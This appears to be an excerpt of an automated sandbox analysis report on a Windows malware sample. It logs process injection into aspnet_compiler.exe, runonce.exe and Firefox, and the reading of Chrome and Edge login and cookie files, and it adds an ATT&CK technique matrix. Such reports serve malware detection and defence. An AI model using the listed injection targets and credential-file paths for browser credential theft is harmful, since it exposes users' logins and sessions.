Source: C:\Windows\SysWOW64\runonce.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtWriteVirtualMemory: Direct from: 0x77762E3C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtMapViewOfSection: Direct from: 0x77762D1C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtNotifyChangeKey: Direct from: 0x77763C2C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtCreateMutant: Direct from: 0x777635CC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtResumeThread: Direct from: 0x777636AC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtProtectVirtualMemory: Direct from: 0x77757B2E	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtQuerySystemInformation: Direct from: 0x77762DFC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtAllocateVirtualMemory: Direct from: 0x77762BFC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtReadFile: Direct from: 0x77762ADC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtDelayExecution: Direct from: 0x77762DDC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtWriteVirtualMemory: Direct from: 0x7776490C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtQueryInformationProcess: Direct from: 0x77762C26	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtResumeThread: Direct from: 0x77762FBC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtCreateUserProcess: Direct from: 0x7776371C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtSetInformationThread: Direct from: 0x777563F9	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtAllocateVirtualMemory: Direct from: 0x77763C9C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtSetInformationThread: Direct from: 0x77762B4C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtQueryAttributesFile: Direct from: 0x77762E6C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtClose: Direct from: 0x77762B6C
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtReadVirtualMemory: Direct from: 0x77762E8C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtCreateKey: Direct from: 0x77762C6C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtQuerySystemInformation: Direct from: 0x777648CC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtAllocateVirtualMemory: Direct from: 0x777648EC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtQueryVolumeInformationFile: Direct from: 0x77762F2C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtOpenSection: Direct from: 0x77762E0C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtDeviceIoControlFile: Direct from: 0x77762AEC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtAllocateVirtualMemory: Direct from: 0x77762BEC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtQueryInformationToken: Direct from: 0x77762CAC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtTerminateThread: Direct from: 0x77762FCC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtCreateFile: Direct from: 0x77762FEC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtOpenFile: Direct from: 0x77762DCC	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtOpenKeyEx: Direct from: 0x77762B9C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtSetInformationProcess: Direct from: 0x77762C5C	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	NtProtectVirtualMemory: Direct from: 0x77762F9C	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: NULL target: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: NULL target: C:\Windows\SysWOW64\runonce.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: NULL target: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: NULL target: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: FA6008	Jump to behavior

Source: zk0NoejtsplNyT.exe, 00000006.00000002.2622298245.0000000001111000.00000002.00000001.00040000.00000000.sdmp, zk0NoejtsplNyT.exe, 00000006.00000000.1805960431.0000000001111000.00000002.00000001.00040000.00000000.sdmp, zk0NoejtsplNyT.exe, 0000000A.00000000.1965752200.0000000001071000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: zk0NoejtsplNyT.exe, 00000006.00000002.2622298245.0000000001111000.00000002.00000001.00040000.00000000.sdmp, zk0NoejtsplNyT.exe, 00000006.00000000.1805960431.0000000001111000.00000002.00000001.00040000.00000000.sdmp, zk0NoejtsplNyT.exe, 0000000A.00000000.1965752200.0000000001071000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: zk0NoejtsplNyT.exe, 00000006.00000002.2622298245.0000000001111000.00000002.00000001.00040000.00000000.sdmp, zk0NoejtsplNyT.exe, 00000006.00000000.1805960431.0000000001111000.00000002.00000001.00040000.00000000.sdmp, zk0NoejtsplNyT.exe, 0000000A.00000000.1965752200.0000000001071000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: zk0NoejtsplNyT.exe, 00000006.00000002.2622298245.0000000001111000.00000002.00000001.00040000.00000000.sdmp, zk0NoejtsplNyT.exe, 00000006.00000000.1805960431.0000000001111000.00000002.00000001.00040000.00000000.sdmp, zk0NoejtsplNyT.exe, 0000000A.00000000.1965752200.0000000001071000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\runonce.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	612 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	612 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Timestomp	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report uI1A364y2P.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
uI1A364y2P.exe